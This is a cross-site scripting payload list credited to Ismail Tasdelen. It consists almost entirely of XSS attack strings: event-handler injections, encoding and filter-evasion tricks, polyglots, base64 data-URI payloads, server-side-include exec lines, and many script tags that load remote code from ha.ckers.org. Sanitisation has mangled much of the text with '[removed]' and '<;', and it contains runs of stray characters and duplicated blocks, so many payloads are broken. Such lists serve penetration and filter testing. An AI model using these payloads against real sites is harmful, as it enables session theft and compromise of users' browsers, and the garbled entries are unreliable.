<svg/onload=alert(1337)>
<!-- Project Name : Cross Site Scripting ( XSS ) Vulnerability Payload List -->
<!-- Author : Ismail Tasdelen -->
<!-- Linkedin : https://www.linkedin.com/in/ismailtasdelen/ -->
<!-- GitHub : https://github.com/ismailtasdelen/ -->
<!-- Twitter : https://twitter.com/ismailtsdln -->
<!-- Medium : https://medium.com/@ismailtasdelen -->
"-prompt(8)-"
'-prompt(8)-'
";a=prompt,a()//
';a=prompt,a()//
'-eval("window['pro'+'mpt'](8)")-'
"-eval("window['pro'+'mpt'](8)")-"
"onclick=prompt(8)>"@x.y
"onclick=prompt(8)><svg/onload=prompt(8)>"@x.y
</>
<>
< >
<>
< >
</>< >
[><\x3Cscript>[removed]alert(1)[removed]
'`"><\x00script>[removed]alert(1)[removed]
![]()
<audio src=1 href=1 onerror="[removed]alert(1)"></audio>
<video src=1 href=1 onerror="[removed]alert(1)"></video>
<body src=1 href=1 onerror="[removed]alert(1)"></body>
<object src=1 href=1 onerror="[removed]alert(1)"></object>
[removed][removed]
<svg onResize svg onResize="[removed][removed]alert(1)"></svg onResize>
<title onPropertyChange title onPropertyChange="[removed][removed]alert(1)"></title onPropertyChange>
<iframe onLoad iframe onLoad="[removed][removed]alert(1)"></iframe onLoad>
<body onMouseEnter body onMouseEnter="[removed][removed]alert(1)"></body onMouseEnter>
<body onFocus body onFocus="[removed][removed]alert(1)"></body onFocus>
<frameset onScroll frameset onScroll="[removed][removed]alert(1)"></frameset onScroll>
[removed][removed]
<html onMouseUp html onMouseUp="[removed][removed]alert(1)"></html onMouseUp>
<body onPropertyChange body onPropertyChange="[removed][removed]alert(1)"></body onPropertyChange>
<svg onLoad svg onLoad="[removed][removed]alert(1)"></svg onLoad>
<body onPageHide body onPageHide="[removed][removed]alert(1)"></body onPageHide>
<body onMouseOver body onMouseOver="[removed][removed]alert(1)"></body onMouseOver>
<body onUnload body onUnload="[removed][removed]alert(1)"></body onUnload>
<body onLoad body onLoad="[removed][removed]alert(1)"></body onLoad>
<bgsound onPropertyChange bgsound onPropertyChange="[removed][removed]alert(1)"></bgsound onPropertyChange>
<html onMouseLeave html onMouseLeave="[removed][removed]alert(1)"></html onMouseLeave>
<html onMouseWheel html onMouseWheel="[removed][removed]alert(1)"></html onMouseWheel>
<style onLoad style onLoad="[removed][removed]alert(1)"></style onLoad>
<iframe onReadyStateChange iframe onReadyStateChange="[removed][removed]alert(1)"></iframe onReadyStateChange>
<body onPageShow body onPageShow="[removed][removed]alert(1)"></body onPageShow>
<style onReadyStateChange style onReadyStateChange="[removed][removed]alert(1)"></style onReadyStateChange>
<frameset onFocus frameset onFocus="[removed][removed]alert(1)"></frameset onFocus>
<applet onError applet onError="[removed][removed]alert(1)"></applet onError>
[removed][removed]
<html onMouseOver html onMouseOver="[removed][removed]alert(1)"></html onMouseOver>
<html onMouseEnter html onMouseEnter="[removed]parent.[removed]alert(1)"></html onMouseEnter>
<body onBeforeUnload body onBeforeUnload="[removed][removed]alert(1)"></body onBeforeUnload>
<html onMouseDown html onMouseDown="[removed][removed]alert(1)"></html onMouseDown>
<xml onPropertyChange xml onPropertyChange="[removed][removed]alert(1)"></xml onPropertyChange>
<frameset onBlur frameset onBlur="[removed][removed]alert(1)"></frameset onBlur>
<applet onReadyStateChange applet onReadyStateChange="[removed][removed]alert(1)"></applet onReadyStateChange>
<svg onUnload svg onUnload="[removed][removed]alert(1)"></svg onUnload>
<html onMouseOut html onMouseOut="[removed][removed]alert(1)"></html onMouseOut>
<body onMouseMove body onMouseMove="[removed][removed]alert(1)"></body onMouseMove>
<body onResize body onResize="[removed][removed]alert(1)"></body onResize>
<object onError object onError="[removed][removed]alert(1)"></object onError>
<body onPopState body onPopState="[removed][removed]alert(1)"></body onPopState>
<html onMouseMove html onMouseMove="[removed][removed]alert(1)"></html onMouseMove>
<applet onreadystatechange applet onreadystatechange="[removed][removed]alert(1)"></applet onreadystatechange>
<body onpagehide body onpagehide="[removed][removed]alert(1)"></body onpagehide>
<svg onunload svg onunload="[removed][removed]alert(1)"></svg onunload>
<applet onerror applet onerror="[removed][removed]alert(1)"></applet onerror>
<body onkeyup body onkeyup="[removed][removed]alert(1)"></body onkeyup>
<body onunload body onunload="[removed][removed]alert(1)"></body onunload>
<iframe onload iframe onload="[removed][removed]alert(1)"></iframe onload>
<body onload body onload="[removed][removed]alert(1)"></body onload>
<html onmouseover html onmouseover="[removed][removed]alert(1)"></html onmouseover>
<object onbeforeload object onbeforeload="[removed][removed]alert(1)"></object onbeforeload>
<body onbeforeunload body onbeforeunload="[removed][removed]alert(1)"></body onbeforeunload>
<body onfocus body onfocus="[removed][removed]alert(1)"></body onfocus>
<body onkeydown body onkeydown="[removed][removed]alert(1)"></body onkeydown>
<iframe onbeforeload iframe onbeforeload="[removed][removed]alert(1)"></iframe onbeforeload>
<iframe src iframe src="[removed][removed]alert(1)"></iframe src>
<svg onload svg onload="[removed][removed]alert(1)"></svg onload>
<html onmousemove html onmousemove="[removed][removed]alert(1)"></html onmousemove>
<body onblur body onblur="[removed][removed]alert(1)"></body onblur>
\x3Cscript>[removed]alert(1)[removed]
'"`>[removed]/* *\x2F[removed]alert(1)// */[removed]
[removed][removed]alert(1)[removed][removed]alert(1)[removed][removed]alert(1)[removed][removed]alert(1)<;/script>
<;!--\\x3E<;img src=xxx:x onerror=[removed]alert(1)> -->
--><;!-- ---> <;img src=xxx:x onerror=[removed]alert(1)> -->
--><;!-- --\\x00> <;img src=xxx:x onerror=[removed]alert(1)> -->
--><;!-- --\\x21> <;img src=xxx:x onerror=[removed]alert(1)> -->
--><;!-- --\\x3E> <;img src=xxx:x onerror=[removed]alert(1)> -->
`"'>![]()
<; href="javascript\\x3A[removed]alert(1)" id="fuzzelement1">test<;/a>
"'`><svg>[removed]a='hello\x27;[removed]alert(1)//';[removed]
test
test
test
test
test
test
test
test
test
test
test
test
test
test
[removed]/* *\x2A/[removed]alert(1)// */[removed]
[removed]/* *\x00/[removed]alert(1)// */[removed]
<style></style\x3E
ABCDEF
"'`>ABC
DEF
[removed]alert('XSS')[removed]
[removed]if("x\\xE1\x96\x89".length==2) { [removed]alert(1);}[removed]
[removed]if("x\\xE0\xB9\x92".length==2) { [removed]alert(1);}[removed]
[removed]if("x\\xEE\xA9\x93".length==2) { [removed]alert(1);}[removed]
'`"><\x3Cscript>[removed]alert(1)[removed]
'`"><\x00script>[removed]alert(1)[removed]
"'`><\x3Cimg src=xxx:x onerror=[removed]alert(1)>
"'`><\x00img src=xxx:x onerror=[removed]alert(1)>
[removed]
<embed src=[removed]%(base64)s">
<input value="``onmouseover=[removed]alert(1)">
[removed]document.getElementById("div2")[removed] = document.getElementById("div1")[removed];[removed]
<embed src="[removed]alert(1)">
![]()
< >
[>><;>[>">
<;! ><;>[>">
<;/ ><;>[>">
<;? ><;>[>'>">
<;! foo="[[[Inception]]">
<% foo>
[removed]d[removed]=d[removed][removed]
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
<[>
< >
< >
< >
< >
< >
< >
< >>
< >[>"` `>
< >
<></><>
< ></>< ><;><;/>">
&>[ id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"></object> <object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" onqt_error="[removed]alert(1)" style="behavior:url(#x);"></object>
X
<style>p[foo=bar{}*{-o-link:'[removed][removed]alert(1)'}{}*{-o-link-source:current}]{color:red};</style>
<link rel=stylesheet href=[removed]PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=[removed]alert('XSS');">
<IFRAME SRC="[removed]alert('XSS');"></IFRAME>
<IFRAME SRC=# onmouseover="alert([removed])"></IFRAME>
<FRAMESET><FRAME SRC="[removed]alert('XSS');"></FRAMESET>
<BASE HREF="[removed]alert('XSS');//">
<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
<EMBED SRC=[removed]PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
[removed][removed]
<!--#exec cmd="/bin/echo '<;SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js><;/SCRIPT>'"-->
<? echo(' alert("XSS")[removed]'); ?>
[removed] /a.jpg http://victimsite.com/admin.asp&deleteuser
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<;SCRIPT>alert('XSS')<;/SCRIPT>">
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
[removed]" SRC="http://ha.ckers.org/xss.js">[removed]
[removed]" SRC="http://ha.ckers.org/xss.js">[removed]
[removed]" '' SRC="http://ha.ckers.org/xss.js">[removed]
[removed]'" SRC="http://ha.ckers.org/xss.js">[removed]
[removed]` SRC="http://ha.ckers.org/xss.js">[removed]
[removed]'>" SRC="http://ha.ckers.org/xss.js">[removed]
[removed][removed]("[removed]
XSS
XSS
XSS
XSS
XSS
XSS
<iframe src=" [removed]prompt(1) ">
<svg><style>{font-family:'<iframe/onload=confirm(1)>'
<input/onmouseover="[removed]confirm(1)"
<sVg>[removed]alert(1) {Opera}
 [removed]
[removed]prompt(1)[removed]
[removed]/**/alert(1)/**/[removed]
<iframe/src=[removed]PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="
>X type="date" onfocus="alert(1)">
<form><textarea
onkeyup='\\u0061\\u006C\\u0065\\u0072\\u0074(1)'>
[removed]/***/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/***/[removed]'>
X
[removed]alert(0%0)[removed]
<style/onload=<;!-- >
alert
(1)>
<///style///>SPAN
 <svg><style>{-o-link-source:'<body/onload=confirm(1)>'
<blink/
onmouseover=prompt(1)>OnMouseOver {Firefox & Opera}
<iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)">
X
<embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
<object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
On Mouse Over
Click Here
![]()
&>[>>
[>
<>
[onmouseover='\\u0061lert(1)'>
<iframe/src=[removed]PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="
>X type="date" onfocus="alert(1)">
<form><textarea
onkeyup='\\u0061\\u006C\\u0065\\u0072\\u0074(1)'>
[removed]/***/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/***/[removed]'>
X
[removed]alert(0%0)[removed]
<style/onload=<;!-- >
alert
(1)>
<///style///> SPAN
<svg><style>{-o-link-source:'<body/onload=confirm(1)>'
<blink/
onmouseover=prompt(1)>OnMouseOver {Firefox & Opera}
<iframe style="xg-p:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)">
X
<embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
<object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
On Mouse Over
Click Here
![]()
&>[>>
[>
<>
< '></>
< type AllowScriptAccess="always"></EMBED>
[removed]" SRC="http://ha.ckers.org/xss.js">[removed]
[removed]" '' SRC="http://ha.ckers.org/xss.js">[removed]
[removed]'" SRC="http://ha.ckers.org/xss.js">[removed]
[removed]'>" SRC="http://ha.ckers.org/xss.js">[removed]
[removed][removed](" [removed]
<[removed]alert("XSS");//<[removed]
<"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//-->[removed]">'>[removed]alert(String.fromCharCode(88,83,83))[removed]
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//-->[removed]">'>[removed]alert(String.fromCharCode(88,83,83))<?/SCRIPT>&submit.x=27&submit.y=9&cmd=search
[removed]alert("hellox worldss")[removed]&safe=high&cx=006665157904466893121:su_tzknyxug&cof=FORID:9#510
[removed]alert("XSS");[removed]&search=1
0&q=';alert(String.fromCharCode(88,83,83))//\\';alert%2?8String.fromCharCode(88,83,83))//";alert(String.fromCharCode?(88,83,83))//\";alert(String.fromCharCode(88,83,83)%?29//-->[removed]">'>[removed]alert(String.fromCharCode(88,83%?2C83))[removed]&submit-frmGoogleWeb=Web+Search
hellox worldss
<BODY ONLOAD=alert('hellox worldss')>
<input onfocus=write(XSS) autofocus>
<input onblur=write(XSS) autofocus><input autofocus>
<body onscroll=alert(XSS)>
...
<input autofocus>
<form><button formaction="[removed]alert(XSS)">lol
<!--< >
<![>< ><;>
<style>![]() <;>
<;? ><;>>">
<;! ><;>>">
<;/ ><;>>">
<;? ><;>>'>">
<;! foo="[[[Inception]]">
<% foo>
LOL
LOL<style>*{/*all*/color/*all*/:/*all*/red/*all*/;/[0]*IE,Safari*[0]/color:green;color:bl/*IE*/ue;}</style>
[removed]({0:#0=alert/#0#/#0#(0)})[removed]
<svg xmlns="http://www.w3.org/2000/svg">LOL[removed]alert(123)[removed]</svg>
<;SCRIPT>alert(/XSS/.source)<;/SCRIPT>
\\";alert('XSS');//
<;/TITLE><;SCRIPT>alert(\"XSS\");<;/SCRIPT>
<;INPUT TYPE=\"IMAGE\" SRC=\"[removed]alert('XSS');\">
<;BODY BACKGROUND=\"[removed]alert('XSS')\">
<;BODY ONLOAD=alert('XSS')>
<;IMG DYNSRC=\"[removed]alert('XSS')\">
<;IMG LOWSRC=\"[removed]alert('XSS')\">
<;BGSOUND SRC=\"[removed]alert('XSS');\">
<;BR SIZE=\"&{alert('XSS')}\">
<;LAYER SRC=\"http://ha.ckers.org/scriptlet.html\"><;/LAYER>
<;LINK REL=\"stylesheet\" HREF=\"[removed]alert('XSS');\">
<;LINK REL=\"stylesheet\" HREF=\"http://ha.ckers.org/xss.css\">
<;STYLE>@import'http://ha.ckers.org/xss.css';<;/STYLE>
<;META HTTP-EQUIV=\"Link\" Content=\"<;http://ha.ckers.org/xss.css>; REL=stylesheet\">
<;STYLE>BODY{[removed]:url(\"http://ha.ckers.org/xssmoz.xml#xss\")}<;/STYLE>
<;XSS STYLE=\"behavior: url(xss.htc);\">
<;STYLE>li {list-style-image: url(\"[removed]alert('XSS')\");}<;/STYLE><;UL><;LI>XSS
<;IMG SRC='[removed]msgbox(\\"XSS\\")'>
<;IMG SRC=\"mocha:[code]\">
<;IMG SRC=\"livescript:[code]\">
žscriptualert(EXSSE)ž/scriptu
<;META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=[removed]alert('XSS');\">
<;META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=[removed]PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\">
<;META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=[removed]alert('XSS');\"
<;IFRAME SRC=\"[removed]alert('XSS');\"><;/IFRAME>
<;FRAMESET><;FRAME SRC=\"[removed]alert('XSS');\"><;/FRAMESET>
<;TABLE BACKGROUND=\"[removed]alert('XSS')\">
<;TABLE><;TD BACKGROUND=\"[removed]alert('XSS')\">
<;DIV STYLE=\"background-image: url([removed]alert('XSS'))\">
<;DIV STYLE=\"background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029\">
<;DIV STYLE=\"background-image: url([removed]alert('XSS'))\">
<;DIV STYLE=\"width: [removed]alert('XSS'));\">
<;STYLE>@im\port'\ja\vasc\ript:alert(\"XSS\")';<;/STYLE>
<;IMG STYLE=\"xss:expr/*XSS*/ession(alert('XSS'))\">
<;XSS STYLE=\"xss:[removed]alert('XSS'))\">
exp/*<;A STYLE='no\\xss:noxss(\\"*//*\\");
xss:ex/*XSS*//*/*/pression(alert(\\"XSS\\"))'>
<;STYLE TYPE=\"text/javascript\">alert('XSS');<;/STYLE>
<;STYLE>.XSS{background-image:url(\"[removed]alert('XSS')\");}<;/STYLE><;A CLASS=XSS><;/A>
<;STYLE type=\"text/css\">BODY{background:url(\"[removed]alert('XSS')\")}<;/STYLE>
<;!--[if gte IE 4]>
<;SCRIPT>alert('XSS');<;/SCRIPT>
<;![endif]-->
<;BASE HREF=\"[removed]alert('XSS');//\">
<;OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://ha.ckers.org/scriptlet.html\"><;/OBJECT>
<;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><;param name=url value=[removed]alert('XSS')><;/OBJECT>
<;EMBED SRC=\"http://ha.ckers.org/xss.swf\" AllowScriptAccess=\"always\"><;/EMBED>
<;EMBED SRC=\[removed]PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"><;/EMBED>
a=\"get\";
b=\"URL(\\"\";
c=\"[removed]\";
d=\"alert('XSS');\\")\";
eval(a+b+c+d);
<;HTML xmlns:xss><;?import namespace=\"xss\" implementation=\"http://ha.ckers.org/xss.htc\"><;xss:xss>XSS<;/xss:xss><;/HTML>
<;XML ID=I><;X><;C><;![CDATA[<;IMG SRC=\"javas]]><;![CDATA[cript:alert('XSS');\">]]>
<;/C><;/X><;/xml><;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><;/SPAN>
<;XML ID=\"xss\"><;I><;B><;IMG SRC=\"javas<;!-- -->cript:alert('XSS')\"><;/B><;/I><;/XML>
<;SPAN DATASRC=\"#xss\" DATAFLD=\"B\" DATAFORMATAS=\"HTML\"><;/SPAN>
<;XML SRC=\"xsstest.xml\" ID=I><;/XML>
<;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><;/SPAN>
<;HTML><;BODY>
<;?xml:namespace prefix=\"t\" ns=\"urn:schemas-microsoft-com:time\">
<;?import namespace=\"t\" implementation=\"#default#time2\">
<;t:set attributeName=\"innerHTML\" to=\"XSS<;SCRIPT DEFER>alert("XSS")<;/SCRIPT>\">
<;/BODY><;/HTML>
<;SCRIPT SRC=\"http://ha.ckers.org/xss.jpg\"><;/SCRIPT>
<;!--#exec cmd=\"/bin/echo '<;SCR'\"--><;!--#exec cmd=\"/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js><;/SCRIPT>'\"-->
<;? echo('<;SCR)';
echo('IPT>alert(\"XSS\")<;/SCRIPT>'); ?>
<;IMG SRC=\"http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode\">
[removed] /a.jpg http://victimsite.com/admin.asp&deleteuser
<;META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=<;SCRIPT>alert('XSS')<;/SCRIPT>\">
<;HEAD><;META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"> <;/HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
<;SCRIPT a=\">\" SRC=\"http://ha.ckers.org/xss.js\"><;/SCRIPT>
<;SCRIPT =\">\" SRC=\"http://ha.ckers.org/xss.js\"><;/SCRIPT>
<;SCRIPT a=\">\" '' SRC=\"http://ha.ckers.org/xss.js\"><;/SCRIPT>
<;SCRIPT \\"a='>'\" SRC=\"http://ha.ckers.org/xss.js\"><;/SCRIPT>
<;SCRIPT a=`>` SRC=\"http://ha.ckers.org/xss.js\"><;/SCRIPT>
<;SCRIPT a=\">'>\" SRC=\"http://ha.ckers.org/xss.js\"><;/SCRIPT>
<;SCRIPT>[removed](\"<;SCRI\");<;/SCRIPT>PT SRC=\"http://ha.ckers.org/xss.js\"><;/SCRIPT>
<;A HREF=\"http://66.102.7.147/\">XSS<;/A>
<;A HREF=\"http://www.google.com\">XSS<;/A>
<;A HREF=\"http://1113982867/\">XSS<;/A>
<;A HREF=\"http://0x42.0x0000066.0x7.0x93/\">XSS<;/A>
<;A HREF=\"http://0102.0146.0007.00000223/\">XSS<;/A>
<;A HREF=\"htt p://6 6.000146.0x7.147/\">XSS<;/A>
<;A HREF=\"//www.google.com/\">XSS<;/A>
<;A HREF=\"//google\">XSS<;/A>
<;A HREF=\"http://ha.ckers.org@google\">XSS<;/A>
<;A HREF=\"http://google:ha.ckers.org\">XSS<;/A>
<;A HREF=\"http://google.com/\">XSS<;/A>
<;A HREF=\"http://www.google.com./\">XSS<;/A>
<;A HREF=\"[removed][removed]='http://www.google.com/'\">XSS<;/A>
<;A HREF=\"http://www.gohttp://www.google.com/ogle.com/\">XSS<;/A>
<;
<
<
<;
<
<
<
<
<
<
<
<
<;
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
\x3c
\x3C
\u003c
\u003C
<;iframe src=http://ha.ckers.org/scriptlet.html>
<;IMG SRC=\"[removed]alert('XSS')\"
<;SCRIPT SRC=//ha.ckers.org/.js>
<;SCRIPT SRC=http://ha.ckers.org/xss.js?<;B>
<;<;SCRIPT>alert(\"XSS\");//<;<;/SCRIPT>
<;SCRIPT/SRC=\"http://ha.ckers.org/xss.js\"><;/SCRIPT>
<;BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(\"XSS\")>
<;SCRIPT/XSS SRC=\"http://ha.ckers.org/xss.js\"><;/SCRIPT>
<;IMG SRC=\" [removed]alert('XSS');\">
perl -e 'print \"<;SCR\0IPT>alert(\\"XSS\\")<;/SCR\0IPT>\";' > out
perl -e 'print \"<;IMG SRC=java\0script:alert(\\"XSS\\")>\";' > out
<;IMG SRC=\"jav
ascript:alert('XSS');\">
<;IMG SRC=\"[removed]alert('XSS');\">
<;IMG SRC=\"[removed]alert('XSS');\">
<;IMG SRC=[removed]alert('XSS')>
<;IMG SRC=[removed]alert('XSS')>
<;IMG SRC=[removed]alert('XSS')>
<;IMG SRC=[removed]alert(String.fromCharCode(88,83,83))>
<;IMG \"\"\"><;SCRIPT>alert(\"XSS\")<;/SCRIPT>\">
<;IMG SRC=`[removed]alert(\"RSnake says, 'XSS'\")`>
<;IMG SRC=[removed]alert("XSS")>
<;IMG SRC=[removed]alert('XSS')>
<;IMG SRC=[removed]alert('XSS')>
<;IMG SRC=\"[removed]alert('XSS');\">
<;SCRIPT SRC=http://ha.ckers.org/xss.js><;/SCRIPT>
'';!--\"<;XSS>=&{()}
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//\\";alert(String.fromCharCode(88,83,83))//--><;/SCRIPT>\">'><;SCRIPT>alert(String.fromCharCode(88,83,83))<;/SCRIPT>
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//-->[removed]">'>[removed]alert(String.fromCharCode(88,83,83))[removed]
'';!--"[removed]=&{()}
[removed][removed]
< '>
< >
< >
< >
<><>alert("XSS")[removed]">
![]()
[>[ HTTP-EQUIV="refresh" CONTENT="0;url=[removed]alert('XSS');">
<IFRAME SRC="[removed]alert('XSS');"></IFRAME>
<FRAMESET><FRAME SRC="[removed]alert('XSS');"></FRAMESET>
|
